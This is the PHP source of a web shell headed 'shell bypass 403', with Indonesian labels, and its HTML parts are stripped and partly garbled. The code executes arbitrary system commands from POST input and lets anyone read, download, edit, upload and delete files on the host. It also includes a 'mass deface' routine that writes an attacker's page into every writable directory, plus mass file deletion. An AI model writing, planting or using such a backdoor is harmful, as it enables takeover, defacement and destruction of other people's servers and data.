".$_SERVER['HTTP_HOST']."

table{display:none;}

"; $_r = "required='required'"; $_x = ""; if(isset($_GET['option']) && $_POST['opt'] == 'download'){ header('Content-type: text/plain'); header('Content-Disposition: attachment; filename="'.$_POST['name'].'"'); echo(file_get_contents($_POST['path'])); exit(); } function ▟($path,$p) { if(isset($_GET['path'])) { $kotak = $_GET['path']; }else{ $kotak = getcwd(); } if(is_writable($kotak)) { return "".$p.""; }else{ return "".$p.""; } } function ok(){ echo '

'; } function er(){ echo '

'; } function sz($byt){ $sz = array('B','KB','MB','GB','TB'); for($i = 0; $byt >= 1024 && $i < (count($sz) -1 ); $byt /= 1024, $i++ ); return(round($byt,2)." ".$sz[$i]); } function ip() { $ipas = ''; if(getenv('HTTP_CLIENT_IP')) $ipas = getenv('HTTP_CLIENT_IP'); else if(getenv('HTTP_X_FORWARDED_FOR')) $ipas = getenv('HTTP_X_FORWARDED_FOR'); else if(getenv('HTTP_X_FORWARDED')) $ipas = getenv('HTTP_X_FORWARDED'); else if(getenv('HTTP_FORWARDED_FOR')) $ipas = getenv('HTTP_FORWARDED_FOR'); else if(getenv('HTTP_FORWARDED')) $ipas = getenv('HTTP_FORWARDED'); else if(getenv('REMOTE_ADDR')) $ipas = getenv('REMOTE_ADDR'); else $ipas = 'IP tidak dikenali'; return $ipas; } function p($file){ if($p = @fileperms($file)){ $i = 'u'; if(($p & 0xC000) == 0xC000)$i = 's'; elseif(($p & 0xA000) == 0xA000)$i = 'l'; elseif(($p & 0x8000) == 0x8000)$i = '-'; elseif(($p & 0x6000) == 0x6000)$i = 'b'; elseif(($p & 0x4000) == 0x4000)$i = 'd'; elseif(($p & 0x2000) == 0x2000)$i = 'c'; elseif(($p & 0x1000) == 0x1000)$i = 'p'; $i .= ($p & 00400)? 'r':'-'; $i .= ($p & 00200)? 'w':'-'; $i .= ($p & 00100)? 'x':'-'; $i .= ($p & 00040)? 'r':'-'; $i .= ($p & 00020)? 'w':'-'; $i .= ($p & 00010)? 'x':'-'; $i .= ($p & 00004)? 'r':'-'; $i .= ($p & 00002)? 'w':'-'; $i .= ($p & 00001)? 'x':'-'; return $i; } else return "- ?? -"; } $disfunc = @ini_get("disable_functions"); if(empty($disfunc)) { $disfc = "NONE"; }else{ $disfc = "$disfunc"; } if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; }else{ $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } //bisa $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "ON" : "OFF"; echo " ".$_SERVER['HTTP_HOST']." - $_n

shell bypass 403

$_n Shell

"; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '

: /'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo " [ ".▟($path, p($path))." ]

"; echo "

info server

Uname: ".php_uname()."
Software: ".$_SERVER['SERVER_SOFTWARE']."
PHP version: ".PHP_VERSION." [ PHP INFO ] PHP os: ".PHP_OS."
Server Ip: ".gethostbyname($_SERVER['HTTP_HOST'])."
Your Ip: ".ip()."
User: $user ($uid) | Group: $group ($gid)
Safe Mode: $sm
Disable Function:

$disfc

upload mas deface mass delete console

"; // tools nya if(isset($_GET['path'])) { $dir = $_GET['path']; chdir($dir); }else{ $dir = getcwd(); } $dir = str_replace("\\","/",$dir); $scdir = explode("/", $dir); for($i = 0; $i <= $c_dir; $i++) { $scdir[$i]; if($i != $c_dir) { } //bisa if(isset($_GET['mas_deface'])) { echo "$_s"; function mas_kabeh($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $kotak = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($kotak, $isi_script); } elseif($dirb === '..') { file_put_contents($kotak, $isi_script); }else{ if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[] $kotak
"; file_put_contents($kotak, $isi_script); $▟ = mas_kabeh($dirc,$namafile,$isi_script); } } } } } } function mas_biasa($dir,$namafile,$isi_script) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $kotak = $dirc.'/'.$namafile; if($dirb === '.') { file_put_contents($kotak, $isi_script); } elseif($dirb === '..') { file_put_contents($kotak, $isi_script); }else{ if(is_dir($dirc)) { if(is_writable($dirc)) { echo "[] $dirb/$namafile
"; file_put_contents($kotak, $isi_script); } } } } } } //bisa if($_POST['start']) { if($_POST['tipe'] == 'massal') { mas_kabeh($_POST['d_dir'], $_POST['d_file'], $_POST['script']); } elseif($_POST['tipe'] == 'biasa') { mas_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']); } } echo "

"; } if(isset($_GET['mass_delete'])) { echo "$_s"; function hapus_massal($dir,$namafile) { if(is_writable($dir)) { $dira = scandir($dir); foreach($dira as $dirb) { $dirc = "$dir/$dirb"; $kotak = $dirc.'/'.$namafile; if($dirb === '.') { if(file_exists("$dir/$namafile")) { unlink("$dir/$namafile"); } } elseif($dirb === '..') { if(file_exists("".dirname($dir)."/$namafile")) { unlink("".dirname($dir)."/$namafile"); } }else{ if(is_dir($dirc)) { if(is_writable($dirc)) { if(file_exists($kotak)) { echo "[] $kotak
"; unlink($kotak); $▟ = hapus_massal($dirc,$namafile); } } } } } } } //bisa if($_POST['start']) { hapus_massal($_POST['d_dir'], $_POST['d_file']); } echo "

"; } if(isset($_GET['cmd'])) { if(!empty($_POST['cmd'])) { $cmd = shell_exec($_POST['cmd'].' 2>&1'); } echo "$_s

"; if($cmd): echo '

'.htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8').'

'; elseif(!$cmd && $_SERVER['REQUEST_METHOD'] == 'POST'): echo '

Tidak ada hasil

'; endif; } if(isset($_GET['phpinfo'])) { @ob_start(); @eval("phpinfo();"); $buff = @ob_get_contents(); @ob_end_clean(); $awal = strpos($buff,"")+6; $akhir = strpos($buff,""); echo "".substr($buff,$awal,$akhir-$awal)."
"; exit; } if(isset($_GET['upload'])) { echo "$_s"; if(isset($_POST['upl'])){ $hasil = count($_FILES['file']['name']); for($isi=0;$isi<$hasil;$isi++){ $namafile = $_FILES['file']['name'][$isi]; $up = @copy($_FILES['file']['tmp_name'][$isi],"$path/".$namafile); } if($hasil < 2){ if($up){ echo "Upload $namafile ok! ".ok()."

"; }else{ echo 'Upload gagal! '.er().'

'; } }else{ echo "Upload $hasil ok! ".ok()."

"; } } echo "

"; } if(isset($_GET['filebaru'])) { echo "$_s"; if(isset($_POST['bikin'])){ $name = $_POST['nama_file']; $isi_file = $_POST['isi_file']; foreach ($name as $nama_file){ $handle = @fopen("$nama_file", "w"); if($isi_file){ $buat = @fwrite($handle, $isi_file); }else{ $buat = $handle; } } if($buat){ echo ""; }else{ echo 'Buat file gagal! '.er().'

'; } } echo "

"; } if(isset($_GET['dirbaru'])) { echo "$_s"; if(isset($_POST['buat'])){ $nama = $_POST['nama_dir']; foreach ($nama as $nama_dir){ $folder = preg_replace("([^\w\s\d\-_~,;:\[\]\(\].]|[\.]{2,})", '', $nama_dir); $fd = @mkdir ($folder); } if($fd){ echo ""; }else{ echo 'Buat dir gagal! '.er().'

'; } } echo "

"; } } // akhir tools if(isset($_GET['filesrc'])){ echo "
name : ".basename($_GET['filesrc']);"
"; echo '

'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'

'; } elseif(isset($_GET['option']) && $_POST['opt'] != 'hapus'){ echo '
name : '.basename($_POST['path']);'
'; // file if($_POST['opt'] == 'ganti_nama'){ if(isset($_POST['nama_baru'])){ if(rename($_POST['path'],$path.'/'.$_POST['nama_baru'])){ echo ""; }else{ echo 'Ganti nama gagal! '.er().''; } $_POST['name'] = $_POST['nama_baru']; } echo ' '; } elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo 'Edit ok! '.ok().''; }else{ echo 'Edit gagal! '.er().''; } fclose($fp); } echo '

'; } }else{ //hapus dir & file if(isset($_GET['option']) && $_POST['opt'] == 'hapus'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo ""; }else{ echo 'Hapus dir gagal! '.er().''; } } elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo ""; }else{ echo 'Hapus file gagal! '.er().''; } } } $scandir = scandir($path); $pa = getcwd(); echo '

'; foreach($scandir as $dir){ $dt = date("Y-m-d H:i:s", filemtime("$path/$dir")); if(function_exists('posix_getpwuid')) { $downer = @posix_getpwuid(fileowner("$path/$dir")); $downer = $downer['name']; }else{ $downer = fileowner("$path/$dir"); } if(function_exists('posix_getgrgid')) { $dgrp = @posix_getgrgid(filegroup("$path/$dir")); $dgrp = $dgrp['name']; }else{ $dgrp = filegroup("$path/$dir"); } if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo " '; echo " "; } foreach($scandir as $file){ $ft = date("Y-m-d H:i:s", filemtime("$path/$file")); if(!is_file($path.'/'.$file)) continue; if(function_exists('posix_getpwuid')) { $fowner = @posix_getpwuid(fileowner("$path/$file")); $fowner = $fowner['name']; }else{ $fowner = fileowner("$path/$file"); } if(function_exists('posix_getgrgid')) { $fgrp = @posix_getgrgid(filegroup("$path/$file")); $fgrp = $fgrp['name']; }else{ $fgrp = filegroup("$path/$file"); } echo " '; echo " "; } } ?>

name	last edit	size	owner:downer	permission	options
..
$dir	$dt	-	$downer:$dgrp	"; if(is_writable("$path/$dir")) echo ''; elseif(!is_readable("$path/$dir")) echo ''; echo p("$path/$dir"); if(is_writable("$path/$dir") \|\| !is_readable("$path/$dir")) echo '
$file	$ft	".sz(filesize($file))."	$fowner:$fgrp	"; if(is_writable("$path/$file")) echo ''; elseif(!is_readable("$path/$file")) echo ''; echo p("$path/$file"); if(is_writable("$path/$file") \|\| !is_readable("$path/$file")) echo '